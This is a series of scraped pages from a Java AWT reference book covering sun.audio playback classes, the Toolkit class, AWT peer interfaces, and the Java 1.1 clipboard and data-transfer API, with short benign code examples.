This read() method of ContinuousAudioDataStream overrides the read() method in ByteArrayInputStream to rewind back to the beginning of the stream when end-of-file is reached. This method is used by the system when it reads the InputStream; it is rarely called directly. read() never returns -1 since it loops back to the beginning on end-of-file.

public int read (byte buffer[], int offset, int length)

This read() method of ContinuousAudioDataStream overrides the read() method in ByteArrayInputStream to rewind back to the beginning of the stream when end-of-file is reached. This method is used by the system when it reads the InputStream; it is rarely called directly. read() returns the actual number of bytes read. read() never returns -1 since it loops back to the beginning on end-of-file.

AudioStreamSequence

Constructors

public AudioStreamSequence (Enumeration e)

The constructor for AudioStreamSequence accepts an Enumeration e(normally the elements of a Vector of AudioStreams) as its sole parameter. The constructor converts the sequence of audio streams into a single stream to be played in order. An example follows:

Vector v = new Vector ();
v.addElement (new AudioStream (url1.openStream ());
v.addElement (new AudioStream (url2.openStream ());
AudioStreamSequence audiostream = new AudioStreamSequence (v.elements ());
Methods

public int read ()

This read() method of AudioStreamSequence overrides the read() method in InputStream to start the next stream when end-of-file is reached. This method is used by the system when it reads the InputStream and is rarely called directly. If the end of all streams is encountered and no bytes were read, read() returns -1. Otherwise, read() returns the character read.

public int read (byte buffer[], int offset, int length)

This read() method of AudioStreamSequence overrides the read() method in InputStream to start the next stream when end-of-file is reached. This method is used by the system when it reads the InputStream and is rarely called directly. read() returns the actual number of bytes read. If the end of all streams is encountered and no bytes were read, read() returns -1.

AudioPlayer

The AudioPlayer class is the workhorse of the sun.audio package. It is used to play all the streams that were created with the other classes. There is no constructor for AudioPlayer; it just extends Thread and provides start() and stop() methods. Variable

public final static AudioPlayer player

player is the default audio player. This audio player is initialized automatically when the class is loaded; you do not have to initialize it (in fact, you can't because it is final) or call the constructor yourself.

Methods

public synchronized void start (InputStream in)

The start() method starts a thread that plays the InputStream in. Stream in continues to play until there is no more data or it is stopped. If in is a ContinuousAudioDataStream, the playing continues until stop() (described next) is called.

public synchronized void stop (InputStream in)

The stop() method stops the player from playing InputStream in. Nothing happens if the stream in is no longer playing or was never started.

SunAudioClip Class Definition

The class in Example 14.3 is all you need to play audio files in applications. It implements the java.applet.AudioClip interface, so the methods and functionality will be familiar. The test program in main() demonstrates how to use the class. Although the class itself can be used in applets, provided your users have the sun.audio package available, it is geared towards application users.

Example 14.3: The SunAudioClip Class

import java.net.URL;
import java.io.FileInputStream;
import sun.audio.*;
public class SunAudioClip implements java.applet.AudioClip {
    private AudioData audiodata;
    private AudioDataStream audiostream;
    private ContinuousAudioDataStream continuousaudiostream;
    static int length;
    public SunAudioClip (URL url) throws java.io.IOException {
        audiodata = new AudioStream (url.openStream()).getData();
        audiostream = null;
        continuousaudiostream = null;
    }
    public SunAudioClip (String filename) throws java.io.IOException {
        FileInputStream fis = new FileInputStream (filename);
        AudioStream audioStream = new AudioStream (fis);
        audiodata = audioStream.getData();
        audiostream = null;
        continuousaudiostream = null;
    }
    public void play () {
        audiostream = new AudioDataStream (audiodata);
        AudioPlayer.player.start (audiostream);
    }
    public void loop () {
        continuousaudiostream = new ContinuousAudioDataStream (audiodata);
        AudioPlayer.player.start (continuousaudiostream);
    }
    public void stop () {
        if (audiostream != null)
            AudioPlayer.player.stop (audiostream);
        if (continuousaudiostream != null)
            AudioPlayer.player.stop (continuousaudiostream);
    }
    public static void main (String args[]) throws Exception {
        URL url1 = new URL ("http://localhost:8080/audio/1.au");
        URL url2 = new URL ("http://localhost:8080/audio/2.au");
        SunAudioClip sac1 = new SunAudioClip (url1);
        SunAudioClip sac2 = new SunAudioClip (url2);
        SunAudioClip sac3 = new SunAudioClip ("1.au");
        sac1.play ();
        sac2.loop ();
        sac3.play ();
        try {// Delay for loop
            Thread.sleep (2000);
        } catch (InterruptedException ie) {}
        sac2.stop();
    }
}

Previous | Home | Next
AppletStub Interface | Book Index | Toolkit and Peers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] Toolkit and Peers

Previous Chapter 15 Next

15. Toolkit and Peers

Contents:
Toolkit
The Peer Interfaces

This chapter describes the Toolkit class and the purposes it serves. It also describes the java.awt.peer package of interfaces, along with how they fit in with the general scheme of things. The most important advice I can give you about the peer interfaces is not to worry about them. Unless you are porting Java to another platform, creating your own Toolkit, or adding any native component, you can ignore the peer interfaces.

15.1 Toolkit

The Toolkit object is an abstract class that provides an interface to platform-specific details like window size, available fonts, and printing. Every platform that supports Java must provide a concrete class that extends the Toolkit class. The Sun JDK provides a Toolkit for Windows NT/95 (sun.awt.win32.MToolkit [Java1.0] or sun.awt.windows.MToolkit [Java1.1]), Solaris/Motif (sun.awt.motif.MToolkit), and Macintosh (sun.awt.macos.MToolkit). Although the Toolkit is used frequently, both directly and behind the scenes, you would never create any of these objects directly. When you need a Toolkit, you ask for it with the static method getDefaultToolkit() or the Component.getToolkit() method.

You might use the Toolkit object if you need to fetch an image in an application (getImage()), get the font information provided with the Toolkit (getFontList() or getFontMetrics()), get the color model (getColorModel()), get the screen metrics (getScreenResolution() or getScreenSize()), get the system clipboard (getSystemClipboard()), get a print job (getPrintJob()), or ring the bell (beep()). The other methods of Toolkit are called for you by the system.

Toolkit Methods

Constructors

public Toolkit()--cannot be called by user

Because Toolkit is an abstract class, it has no usable constructor. To get a Toolkit object, ask for your environment's default toolkit by calling the static method getDefaultToolkit() or call Component.getToolkit() to get the toolkit of a component. When the actual Toolkit is created for the native environment, the awt package is loaded, the AWT-Win32 and AWT--Callback-Win32 or AWT-Motif and AWT-Input threads (or the appropriate threads for your environment) are created, and the threads go into infinite loops for screen maintenance and event handling.

Pseudo-Constructors

public static synchronized Toolkit getDefaultToolkit ()

The getDefaultToolkit() method returns the system's default Toolkit object. The default Toolkit is identified by the System property awt.toolkit, which defaults to an instance of the sun.awt.motif.MToolkit class. On the Windows NT/95 platforms, this is overridden by the Java environment to be sun.awt.win32.MToolkit (Java1.0) or sun.awt.windows.MToolkit (Java1.1). On the Macintosh platform, this is overridden by the environment to be sun.awt.macos.MToolkit. Most browsers don't let you change the system property awt.toolkit. Since this is a static method, you don't need to have a Toolkit object to call it; just call Toolkit.getDefaultToolkit().

Currently, only one Toolkit can be associated with an environment. You are more than welcome to try to replace the one provided with the JDK. This permits you to create a whole new widget set, outside of Java, while maintaining the standard AWT API.

System information

public abstract ColorModel getColorModel ()

The getColorModel() method returns the current ColorModel used by the system. The default ColorModel is the standard RGB model, with 8 bits for each of red, green, and blue. There are an additional 8 bits for the alpha component, for pixel-level transparency.

public abstract String[] getFontList ()

The getFontList() method returns a String array of the set Java fonts available with this Toolkit. Normally, these fonts will be understood on all the Java platforms. The set provided with Sun's JDK 1.0 (with Netscape Navigator and Internet Explorer, on platforms other than the Macintosh) contains TimesRoman, Dialog, Helvetica, Courier (the only fixed-width font), DialogInput, and ZapfDingbat.

In Java 1.1, getFont() reports all the 1.0 font names. It also reports Serif, which is equivalent to TimesRoman; San Serif, which is equivalent to Helvetica; and Monospaced, which is equivalent to Courier. The names TimesRoman, Helvetica, and Courier are still supported but should be avoided. They have been deprecated and may disappear in a future release. Although the JDK 1.1 reports the existence of the ZapfDingbat font, you can't use it. The characters in this font have been remapped to Unicode characters in the range \u2700 to \u27ff.

public abstract FontMetrics getFontMetrics (Font font)

The getFontMetrics() method returns the FontMetrics for the given Font object. You can use this value to compute how much space would be required to display some text using this font. You can use this version of getFontMetrics() (unlike the similar method in the Graphics class) prior to drawing anything on the screen.

public int getMenuShortcutKeyMask() (New)

The getMenuShortcutKeyMask() method identifies the accelerator key for menu shortcuts for the user's platform. The return value is one of the modifier masks in the Event class, like Event.CTRL_MASK. This method is used internally by the MenuBar class to help in handling menu selection events. See Chapter 10, Would You Like to Choose from the Menu? for more information about dealing with menu accelerators.

public abstract PrintJob getPrintJob (Frame frame, String jobtitle, Properties props) (New)

The getPrintJob() method initiates a print operation, PrintJob, on the user's platform. After getting a PrintJob object, you can use it to print the current graphics context as follows:

// Java 1.1 only
PrintJob p = getToolkit().getPrintJob (aFrame, "hi", aProps);
Graphics pg = p.getGraphics();
printAll (pg);
pg.dispose();
p.end();

With somewhat more work, you can print arbitrary content. See Chapter 17, Printing, for more information about printing. The frame parameter serves as the parent to any print dialog window, jobtitle serves as the identification string in the print queue, and props serves as a means to provide platform-specific properties (default printer, page order, orientation, etc.). If props is (Properties)null, no properties will be used. props is particularly interesting in that it is used both for input and for output. When the environment creates a print dialog, it can read default values for printing options from the properties sheet and use that to initialize the dialog. After getPrintJob() returns, the properties sheet is filled in with the actual printing options that the user requested. You can then use these option settings as the defaults for subsequent print jobs.

The actual property names are Toolkit specific and may be defined by the environment outside of Java. Furthermore, the environment is free to ignore the props parameter altogether; this appears to be the case with Windows NT/95 platforms. (It is difficult to see how Windows NT/95 would use the properties sheet, since these platforms don't even raise the print dialog until you call the method getGraphics().) Table 15.1 shows some of the properties recognized on UNIX platforms; valid property values are shown in a fixed-width font.

Table 15.1: UNIX Printing Properties
Property Name | Meaning and Possible Values
awt.print.printer | The name of the printer on your system to send the job to.
awt.print.fileName | The name of the file to save the print job to.
awt.print.numCopies | The number of copies to be printed.
awt.print.options | Other options to be used for the run-time system's print command.
awt.print.destination | Whether the print job should be sent to a printer or saved in a file.
awt.print.paperSize | The size of the paper on which you want to print--usually, letter.
awt.print.orientation | Whether the job should be printed in portrait or landscape orientation.

public static String getProperty (String key, String defaultValue) (New)

The getProperty() method retrieves the key property from the system's awt.properties file (located in the lib directory under the java.home directory). If key is not a valid property, defaultValue is returned. This file is used to provide localized names for various system resources.

public abstract int getScreenResolution ()

The getScreenResolution() method retrieves the resolution of the screen in dots per inch. The sharper the resolution of the screen, the greater number of dots per inch. Values vary depending on the system and graphics mode. The PrintJob.getPageResolution() method returns similar information for a printed page.

public abstract Dimension getScreenSize ()

The getScreenSize() method retrieves the dimensions of the user's screen in pixels for the current mode. For instance, a VGA system in standard mode will return 640 for the width and 480 for the height. This information is extremely helpful if you wish to manually size or position objects based upon the physical size of the user's screen. The PrintJob.getPageDimension() method returns similar information for a printed page.

public abstract Clipboard getSystemClipboard() (New)

The getSystemClipboard() method returns a reference to the system's clipboard. The clipboard allows your Java programs to use cut and paste operations, either internally or as an interface between your program and objects outside of Java. For instance, the following code copies a String from a Java program to the system's clipboard:

// Java 1.1 only
Clipboard clipboard = getToolkit().getSystemClipboard();
StringSelection ss = new StringSelection("Hello");
clipboard.setContents(ss, this);

Once you have placed the string "Hello" on the clipboard, you can paste it anywhere. The details of Clipboard, StringSelection, and the rest of the java.awt.datatransfer package are described in Chapter 16, Data Transfer.

public final EventQueue getSystemEventQueue() (New)

After checking whether the security manager allows access, this method returns a reference to the system's event queue.

protected abstract EventQueue getSystemEventQueueImpl() (New)

getSystemEventQueueImpl() does the actual work of fetching the event queue. The toolkit provider implements this method; only subclasses of Toolkit can call it.

Images

The Toolkit provides a set of basic methods for working with images. These methods are similar to methods in the Applet class; Toolkit provides its own implementation for use by programs that don't have access to an AppletContext (i.e., applications or applets that are run as applications). Remember that you need an instance of Toolkit before you can call these methods; for example, to get an image, you might call Toolkit.getDefaultToolkit().getImage(`myImage.gif`).

public abstract Image getImage (String filename)

The getImage() method with a String parameter allows applications to get an image from the local filesystem. Its argument is either a relative or absolute filename for an image in a recognized image file format. The method returns immediately; the Image object that it returns is initially empty. When the image is needed, the system attempts to get filename and convert it to an image. To force the file to load immediately or to check for errors while loading, use the MediaTracker class.

NOTE:

This version of getImage() is not usable within browsers since it will throw a security exception because the applet is trying to access the local filesystem.

public abstract Image getImage (URL url)

The getImage() method with the URL parameter can be used in either applets or applications. It allows you to provide a URL for an image in a recognized image file format. Like the other getImage() methods, this method returns immediately; the Image object that it returns is initially empty. When the image is needed, the system attempts to load the file specified by url and convert it to an image. You can use the MediaTracker class to monitor loading and check whether any errors occurred.

public abstract boolean prepareImage (Image image, int width, int height, ImageObserver observer)

The prepareImage() method is called by the system or a program to force image to start loading. This method can be used to force an image to begin loading before it is actually needed. The Image image will be scaled to be width x height. A width and height of -1 means image will be rendered unscaled (i.e., at the size specified by the image itself). The observer is the Component on which image will be rendered. As the image is loaded across the network, the observer's imageUpdate() method is called to inform the observer of the image's status.

public abstract int checkImage (Image image, int width, int height, ImageObserver observer)

The checkImage() method returns the status of the image that is being rendered on observer. Calling checkImage() only provides information about the image; it does not force the image to start loading. The image is being scaled to be width x height. Passing a width and height of -1 means the image will be displayed without scaling. The return value of checkImage() is some combination of ImageObserver flags describing the data that is now available. The ImageObserver flags are: WIDTH, HEIGHT, PROPERTIES, SOMEBITS, FRAMEBITS, ALLBITS, ERROR, and ABORT. Once ALLBITS is set, the image is completely loaded, and the return value of checkImage() will not change. For more information about these flags, see Chapter 12, Image Processing.

The following program loads an image; whenever paint() is called, it displays what information about that image is available. When the ALLBITS flag is set, checkingImages knows that the image is fully loaded, and that a call to drawImage() will display the entire image.

import java.awt.*;
import java.awt.image.*;
import java.applet.*;
public class checkingImages extends Applet {
    Image i;
    public void init () {
        i = getImage (getDocumentBase(), "ora-icon.gif");
    }
    public void displayChecks (int i) {
        if ((i & ImageObserver.WIDTH) != 0)
            System.out.print ("Width ");
        if ((i & ImageObserver.HEIGHT) != 0)
            System.out.print ("Height ");
        if ((i & ImageObserver.PROPERTIES) != 0)
            System.out.print ("Properties ");
        if ((i & ImageObserver.SOMEBITS) != 0)
            System.out.print ("Some-bits ");
        if ((i & ImageObserver.FRAMEBITS) != 0)
            System.out.print ("Frame-bits ");
        if ((i & ImageObserver.ALLBITS) != 0)
            System.out.print ("All-bits ");
        if ((i & ImageObserver.ERROR) != 0)
            System.out.print ("Error-loading ");
        if ((i & ImageObserver.ABORT) != 0)
            System.out.print ("Loading-Aborted ");
        System.out.println ();
    }
    public void paint (Graphics g) {
        displayChecks (Toolkit.getDefaultToolkit().checkImage(i, -1, -1, this));
        g.drawImage (i, 0, 0, this);
    }
}

Here's the output from running checkingImages under Java 1.0; it shows that the width and height of the image are loaded first, followed by the image properties and the image itself. Java 1.1 also displays Frame-bits once the image is loaded.

Width Height
Width Height Properties Some-bits
Width Height Properties Some-bits All-bits
Width Height Properties Some-bits All-bits
Width Height Properties Some-bits All-bits
... (Repeated Forever More)

public abstract Image createImage (ImageProducer producer)

This createImage() method creates an Image object from an ImageProducer. The producer parameter must be some class that implements the ImageProducer interface. Image producers in the java.awt.graphics package are FilteredImageSource (which, together with an ImageFilter, lets you modify an existing image) and MemoryImageSource (which lets you turn an array of pixel information into an image). The image filters provided with java.awt.image are CropImageFilter, RGBImageFilter, AreaAveragingScaleFilter, and ReplicateScaleFilter. You can also implement your own image producers and image filters. These classes are all covered in detail in Chapter 12, Image Processing.

The following code uses this version of createImage() to create a modified version of an original image:

Image i = Toolkit.getDefaultToolkit().getImage (u);
      TransparentImageFilter tf = new TransparentImageFilter (.5f);
Image j = Toolkit.getDefaultToolkit().createImage (
              new FilteredImageSource (i.getSource(), tf));

public Image createImage (byte[] imageData) (New)

This createImage() method converts the entire byte array in imageData into an Image. This data must be in one of the formats understood by this AWT Toolkit (GIF, JPEG, or XBM) and relies on the "magic number" of the data to determine the image type.

public Image createImage (byte[] imageData, int offset, int length) (New)

This createImage() method converts a subset of the byte data in imageData into an Image. Instead of starting at the beginning, this method starts at offset and goes to offset+length-1, for a total of length bytes. If offset is 0 and length is imageData.length, this method is equivalent to the previous method and converts the entire array.

The data in imageData must be in one of the formats understood by this AWT Toolkit (GIF, JPEG, or XBM) and relies on the "magic number" of the data to determine the image type.

NOTE:

For those unfamiliar with magic numbers, most data files are uniquely identified by the first handful or so of bytes. For instance, the first three bytes of a GIF file are "GIF". This is what createImage() relies upon to do its magic.

Miscellaneous methods

public abstract void beep () (New)

The beep() method attempts to play an audio beep. You have no control over pitch, duration, or volume; it is like putting echo ^G in a UNIX shell script.

public abstract void sync ()

The sync() method flushes the display of the underlying graphics context. Normally, this is done automatically, but there are times (particularly when doing animation) when you need to sync() the display yourself.

Previous | Home | Next
Audio in Applications | Book Index | The Peer Interfaces
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] 15.2 The Peer Interfaces

Previous Chapter 15
Toolkit and Peers 		Next

15.2 The Peer Interfaces

Each GUI component that AWT provides has a peer. The peer is the implementation of that component in the native environment. For example, the Choice component in AWT corresponds to some native object that lets the user select one or more items from a list. As a Java developer, you need to worry only about the interface of the Choice object; when someone runs your program, the Choice object is mapped to an appropriate native object, which is the Choice peer, that "does the right thing." You don't really care what the peer is or how it's implemented; in fact, the peer may look (and to some extent, behave) differently on each platform.

The glue that allows an AWT component and its peer to work together is called a peer interface. A peer interface is simply an interface that defines the methods that the peer is required to support. These interfaces are collected in the package java.awt.peer. For example, this package contains the ButtonPeer interface, which contains the single method setLabel(). This means that the native object used to implement a Button must contain a method called setLabel() in order for AWT to use it as a button peer. (It's not quite that simple; since a button is also a Component, the button's peer must also implement the ComponentPeer interface, which is much more complicated.)

With one exception, there is a one-to-one correspondence between Component classes and peer interfaces: a Window has a WindowPeer, a Checkbox has a CheckboxPeer, and so on. The one exception is a new peer interface that appears in Java 1.1: the LightweightPeer, which doesn't have a corresponding component. The LightweightPeer is used by components that exist purely in Java, don't have a native peer, and are displayed and managed by another container. LightweightPeer makes it easier to create new components or containers that can behave like other components, but don't subclass Canvas or Panel and don't correspond to anything in the native environment. The best usage I can think of is to subclass Container to create a lightweight Panel. If you are only using a Panel to manage layout, there is no need for a peer to be created to process events. This should result in substantial resource savings where multiple panels need to be created just to help with layout. The following code is all you need to create a LightWeightPanel:

import java.awt.*;
public class LightWeightPanel extends Container {
}

There also tends to be a one-to-one relationship between the peer methods and the methods of the Java component. That is, each method in the peer interface corresponds to a method of the component. However, although a peer must implement each method in its peer interface, it doesn't necessarily have to do anything in that method. It's entirely possible for a platform to have a native button object that doesn't let you set the label. In this case, the button peer would implement the setLabel() method required by the ButtonPeer interface, but it wouldn't do anything. Of course, the component may also have many methods that don't correspond to the peer methods. Methods that don't correspond to anything in the peer are handled entirely within Java.

The ComponentPeer interface is the parent of all non-menu objects in the peer package. The MenuComponentPeer is the parent of all menu objects. The trees mirror the regular object hierarchies. Figure 15.1 shows the object hierarchy diagram.

Figure 15.1: java.awt.peer object hierarchy

[Graphic: Figure 15-1]

Creating a Java component (e.g., Button b = new Button (`Foo`)) does not create the peer. An object's peer is created when the object's addNotify() method is called. This is usually when the component's container is added to the screen. The call to a component's addNotify() method in turn calls the appropriate createxxxx() method of the Toolkit (for a Button, createButton()). Figure 15.2 shows the process.

Figure 15.2: Creating a Button peer

[Graphic: Figure 15-2]

When you remove a component from a container by calling remove(), the container calls the component's removeNotify() method. This usually results in a call to the peer's dispose() method. Depending on the particular component, removeNotify() may be overridden to perform additional work. Removing a Component from a Container does not destroy the Component. The next time the method addNotify() is called, the component must be recreated by the peer, with its previous characteristics. For instance, when a TextField is removed, the current text, plus the start and stop points for the current selection, are saved. These will be restored if you add the text field to its container again. For some components, like a Label, there is no need to retain any additional information.

A component's peer needs to exist only when the user is interacting with it. If you are developing resource-intensive programs, you might want to consider drawing the components manually when they do not have the focus and using the peer only when they actually have input focus. This technique can save a considerable amount of memory resources but requires extra work on your part as a developer and goes beyond the scope of this book. The LightweightPeer interface appears to be designed to make this process easier: you could create a dummy button that doesn't do anything and uses the LightweightPeer. Whenever the mouse enters the button's space, you could quickly remove the dummy button and add a real button.

The peer interfaces are listed in their entirety in the reference section. We won't list them here, primarily because you don't need to worry about them unless you're porting Java to a new platform. Each method in a peer interface corresponds exactly to the similarly named method in the matching component. LightweightPeer is the only exception, because it doesn't have a matching component, but that's easy to take care of: as you'd expect, LightweightPeer doesn't define any methods. (Of course, a peer that implements LightweightPeer would still need to implement the methods inherited from ComponentPeer, but those are inherited when you subclass Component.)

Previous | Home | Next
Toolkit | Book Index | Data Transfer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] Data Transfer

Previous Chapter 16 Next

16. Data Transfer

Contents:
DataFlavor
Transferable Interface
ClipboardOwner Interface
Clipboard
StringSelection
UnsupportedFlavorException
Reading and Writing the Clipboard

One feature that was missing from Java 1.0 was the ability to access the system clipboard. It was impossible to cut and paste data from one program into another. Java 1.1 includes a package called java.awt.datatransfer that supports clipboard operations. Using this package, you can cut an arbitrary object from one program and paste it into another. In theory, you can cut and paste almost anything; in practice, you usually want to cut and paste text strings, so the package provides special support for string operations. The current version allows only one object to be on the clipboard at a time.

java.awt.datatransfer consists of three classes, two interfaces, and one exception. Objects that can be transferred implement the Transferable interface. The Transferable interface defines methods for working with different flavors of an object. The concept of flavors is basic to Java's clipboard model. Essentially, a flavor is a MIME content type. Any object can be represented in several different ways, each corresponding to a different MIME type. For example, a text string could be represented by a Java String object, an array of Unicode character data, or some kind of rich text that contains font information. The object putting the string on the clipboard provides whatever flavors it is capable of; an object pasting the string from the clipboard takes whatever flavor it can handle. Flavors are represented by the DataFlavor class, and the UnsupportedFlavorException is used when an object asks for a DataFlavor that is not available.

The Clipboard class represents the clipboard itself. There is a single system clipboard, but you can create as many private clipboards as you want. The system clipboard lets you cut and paste between arbitrary applications (for example, Microsoft Word and some Java programs). Private clipboards are useful within a single application, though you could probably figure out some way to export a clipboard to another application using RMI.

To put data on the clipboard, you must implement the ClipboardOwner interface, which provides a means for you to be notified when the data you write is removed from the clipboard. (There isn't any ClipboardReader interface; any object can read from the clipboard.) The final component of the datatransfer package is a special class called StringSelection that facilitates cutting and pasting text strings.

Cutting and pasting isn't the whole story; JavaSoft has also promised drag-and-drop capabilities, but this won't be in the initial release of Java 1.1.

16.1 DataFlavor

A DataFlavor represents a format in which data can be transferred. The DataFlavor class includes two common data flavors; you can create other flavors by extending this class. Flavors are essentially MIME content types and are represented by the standard MIME type strings. An additional content subtype has been added to represent Java classes; the content type of a Java object is:[1]

[1] The type name changed to x-java-serialized-object in the 1.1.1 release.

application/x-java-serialized-object
<classname>

For example, the content type of a Vector object would be:

application/x-java-serialized-object java.util.Vector

In addition to the content type, a DataFlavor also contains a presentable name. The presentable name is intended to be more comprehensible to humans than the MIME type. For example, the presentable name of a VectorFlavor object might just be "Vector", rather than the complex and lengthy MIME type given previously. Presentable names are useful when a program needs to ask the user which data flavor to use.

DataFlavor Methods

Variables

The DataFlavor class includes two public variables that hold "prebuilt" flavors representing different kinds of text objects. These flavors are used in conjunction with the StringSelection class. Although these flavors are variables for all practical purposes, they are used as constants.

public static DataFlavor stringFlavor (New)

The stringFlavor variable is the data flavor for textual data represented as a Java String object. Its MIME type is application/x-javaserializedobject String.

public static DataFlavor plainTextFlavor (New)

The plainTextFlavor variable is the data flavor for standard, Unicode-encoded text. Its MIME type is text/plain; charset=unicode.

Constructors

The DataFlavor class has two constructors. One creates a DataFlavor given a MIME content type; the other creates a DataFlavor given a Java class and builds the MIME type from the class name.

public DataFlavor(String mimeType, String humanPresentableName) (New)

The first constructor creates an instance of DataFlavor for the mimeType flavor of data. The humanPresentableName parameter should be a more user-friendly name. It might be used in a menu to let the user select a flavor from several possibilities. It might also be used to generate an error message when the UnsupportedFlavorException occurs. The plainTextFlavor uses "Plain Text" as its presentable name.

To read data from the clipboard, a program calls the Transferable.getTransferData() method. If the data is represented by a DataFlavor that doesn't correspond to a Java class (for example, plainTextFlavor), getTransferData() returns an InputStream for you to read the data from.

public DataFlavor(Class representationClass, String humanPresentableName) (New)

The other constructor creates an instance of DataFlavor for the specific Java class representationClass. Again, the humanPresentableName provides a more user-friendly name for use in menus, error messages, or other interactions with users. The stringFlavor uses "Unicode String" as its presentable name.

A program calls Transferable.getTransferData() to read data from the clipboard. If the data is represented by a Java class, getTransferData() returns an instance of the representation class itself. It does not return a Class object. For example, if the data flavor is stringFlavor, getTransferData() returns a String.

Presentations

public String getHumanPresentableName() (New)

The getHumanPresentableName() method returns the data flavor's presentable name; for example, stringFlavor.getHumanPresentableName() returns the string "Unicode String".

public void setHumanPresentableName(String humanPresentableName) (New)

The setHumanPresentableName() method changes the data flavor's presentable name to a new humanPresentableName. It is hard to imagine why you would want to change a flavor's name.

public String getMimeType() (New)

The getMimeType() method gets the MIME content type for the DataFlavor as a String.

public Class getRepresentationClass() (New)

The getRepresentationClass() method returns the Java type that is used to represent data of this flavor (i.e., the type that would be returned by the getTransferData()method). It returns the type as a Class object, not an instance of the class itself. Note that all data flavors have a representation class, not just those for which the class is specified explicitly in the constructor. For example, the plainTextFlavor.getRepresentationClass() method returns the class java.io.StringReader.

public boolean isMimeTypeEqual(String mimeType) (New)

The isMimeTypeEqual() method checks for string equality between mimeType and the data flavor's MIME type string. For some MIME types, this comparison may be too simplistic because character sets may not be present on types like text/plain. Therefore, this method would tell you that the MIME type text/plain; charset=unicode is different from text/plain.

public final boolean isMimeTypeEqual(DataFlavor dataFlavor) (New)

The isMimeTypeEqual() method checks whether the MIME type of the dataFlavor parameter equals the current data flavor's MIME type. It calls the previous method, and therefore has the same weaknesses.

Protected methods

protected String normalizeMimeType(String mimeType) (New)

The normalizeMimeType() method is used to convert a MIME type string into a standard form. Its argument is a MIME type, as a String; it returns the new normalized MIME type. You would never call normalizeMimeType() directly, but you might want to override this method if you are creating a subclass of DataFlavor and want to change the default normalization process. For example, one thing you might do with this is add the string charset=US-ASCII to the text/plain MIME type if it appears without a character set.

protected String normalizeMimeTypeParameter(String parameterName, String parameterValue) (New)

The normalizeMimeTypeParameter() method is used to convert any parameters associated with MIME types into a standard form. Its arguments are a parameter name (for example, charset) and the parameter's value (for example, unicode). It returns parameterValue normalized. You would never call normalizeMimeTypeParameter() directly, but you might want to override this method if you are creating a subclass of DataFlavor and want to change the default normalization process. For example, parameter values may be case sensitive. You could write a method that would convert the value Unicode to the more appropriate form unicode.

While it may be more trouble than it's worth, carefully overriding these normalization methods might help you to get more predictable results from methods like isMimeTypeEqual().

Miscellaneous methods

public boolean equals(DataFlavor dataFlavor) (New)

The equals() method defines equality for flavors. Two DataFlavor objects are equal if their MIME type and representation class are equal.

Previous | Home | Next
The Peer Interfaces | Book Index | Transferable Interface
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] 16.2 Transferable Interface

Previous Chapter 16
Data Transfer 		Next

16.2 Transferable Interface

Objects that can be placed on a clipboard must implement the Transferable interface. This interface defines a number of methods that let an object describe how it presents itself to clipboard readers. That sounds complex, but it isn't really; these methods let a clipboard reader find out what data flavors are available and what Java types they represent.

The significance of the Transferable interface is that it provides a way to get information about the object on the clipboard without knowing what the object actually is. When you read the clipboard, you don't necessarily know what kind of object is there. It might be some kind of text string, but it could just as likely be something bizarre. However, you shouldn't have to care. If you're looking for a String, you care only that the object exists in a stringFlavor representation. These methods let you ask the object what flavors it supports.

For text strings, the data transfer package provides a StringSelection class that implements Transferable. At this point, if you want to transfer other kinds of objects, you'll have to create a class that implements Transferable yourself. It wouldn't be unreasonable for JavaSoft to provide other "selection" classes (for example, ImageSelection) in the future. Methods

public abstract DataFlavor[] getTransferDataFlavors() (New)

The getTransferDataFlavors() method should return a sorted array of DataFlavors that you support. The most descriptive flavor should be the first element in the array and the least descriptive, last. For example, a textual object would place DataFlavor.plainTextFlavor last, because it has less information than DataFlavor.stringFlavor (which includes information like the length of the string) and much less information than a hypothetical flavor like DataFlavor.richTextFlavor.

public abstract boolean isDataFlavorSupported(DataFlavor flavor) (New)

The isDataFlavorSupported() method should return true if the object supports the given flavor and false otherwise.

public abstract Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException (New)

The getTransferData() method is the most complicated to implement. It should return an instance of the class representing the data in the given flavor. If flavor is not supported by this object, getTransferData() must throw the UnsupportedFlavorException. However, this method must be able to return a class for each flavor the object supports (i.e., each data flavor listed by getTransferDataFlavors()). The method could throw an IOException when returning with a Reader as the representation class. For example, if some data flavor required you to return a FileReader and the file doesn't exist, this method might throw an IOException.

Previous | Home | Next
DataFlavor | Book Index | ClipboardOwner Interface
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] 16.3 ClipboardOwner Interface

Previous Chapter 16
Data Transfer 		Next

16.3 ClipboardOwner Interface

Classes that need to place objects on a clipboard must implement the ClipboardOwner interface. An object becomes the clipboard owner by placing something on a Clipboard and remains owner as long as that object stays on the clipboard; it loses ownership when someone else writes to the clipboard. The ClipboardOwner interface provides a way to receive notification when you lose ownership--that is, when the object you placed on the clipboard is replaced by something else. Methods

public abstract void lostOwnership(Clipboard clipboard, Transferable contents) (New)

The lostOwnership() method tells the owner of contents that it is no longer on the given clipboard. It is usually implemented as an empty stub but is available for situations in which you have to know.

Previous | Home | Next
Transferable Interface | Book Index | Clipboard
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] 16.4 Clipboard

Previous Chapter 16
Data Transfer 		Next

16.4 Clipboard

The Clipboard class is a repository for a Transferable object and can be used for cut, copy, and paste operations. You can work with a private clipboard by creating your own instance of Clipboard, or you can work with the system clipboard by asking the Toolkit for it:

Toolkit.getDefaultToolkit().getSystemClipboard()

When working with the system clipboard, native applications have access to information created within Java programs and vice versa. Access to the system clipboard is controlled by the SecurityManager and is restricted within applets.

Clipboard Methods

Variables

protected ClipboardOwner owner (New)

The owner instance variable represents the current owner of contents. When something new is placed on the clipboard, the previous owner is notified by a call to the lostOwnership() method. The owner usually ignores this notification. However, the clipboard's contents are passed back to owner in case some special processing or comparison needs to be done.

protected Transferable contents (New)

The contents instance variable is the object currently on the clipboard; it was placed on the clipboard by owner. To retrieve the current contents, use the getContents() method.

Constructors

public Clipboard(String name) (New)

The constructor for Clipboard allows you to create a private clipboard named name. This clipboard is not accessible outside of your program and has no security constraints placed upon it.

Miscellaneous methods

public String getName() (New)

The getName() method fetches the clipboard's name. For private clipboards, this is the name given in the constructor. The name of the system clipboard is "System".

